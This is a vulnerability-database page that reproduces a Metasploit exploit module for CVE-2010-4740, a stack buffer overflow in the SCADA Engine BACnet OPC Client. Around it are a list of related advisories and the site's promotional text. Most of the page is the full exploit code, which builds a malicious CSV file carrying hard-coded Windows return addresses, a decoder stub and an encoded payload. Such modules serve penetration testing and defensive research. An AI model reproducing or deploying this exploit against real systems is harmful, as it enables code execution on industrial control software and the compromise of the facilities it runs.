Lucene search
K

BACnet OPC Client Buffer Overflow

🗓️ 11 Nov 2010 16:35:01Reported by Jeremy Brown, MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 33 Views

BACnet OPC Client Buffer Overflow in SCADA Engine v1.0.24 may lead to arbitrary code execution when parsing crafted csv file

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-4740
16 Sep 201000:00
circl
Check Point Advisories
Scada Engine BACnet OPC Client SCADA Remote Code Execution (CVE-2010-4740)
15 Sep 201300:00
checkpoint_advisories
CVE
CVE-2010-4740
16 Feb 201101:00
cve
Cvelist
CVE-2010-4740
16 Feb 201101:00
cvelist
ICS
GLEG Agora SCADA+ Exploit Pack
6 Sep 201812:00
ics
NVD
CVE-2010-4740
16 Feb 201103:00
nvd
Prion
Stack overflow
16 Feb 201103:00
prion
Tenable Nessus
BACnet OPC Client < 1.0.25 Buffer Overflow
24 Sep 201000:00
nessus
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BACnet OPC Client Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SCADA
        Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client
        parses a specially crafted csv file, arbitrary code may be
        executed.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Jeremy Brown', 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2010-4740' ],
          [ 'OSVDB', '68096'],
          [ 'BID', '43289' ],
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-264-01' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'MinNops'  => 0,
          'MaxNops'  => 0,
          'Space'    => 698,
          'BadChars' =>  Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ECX',
            },
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',   { 'Ret' => 0x77e26323 } ],
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2010-09-16',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new( 'FILENAME',  [ false, 'The file name.',  'msf.csv' ]),
      ])

  end

  def exploit

    csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"
    csv << rand_text_alpha_upper(185)
    csv << [target.ret].pack('V') + rand_text_alpha_upper(4)
    csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)
    csv << "\\scada,0,0,\n"

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(csv)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation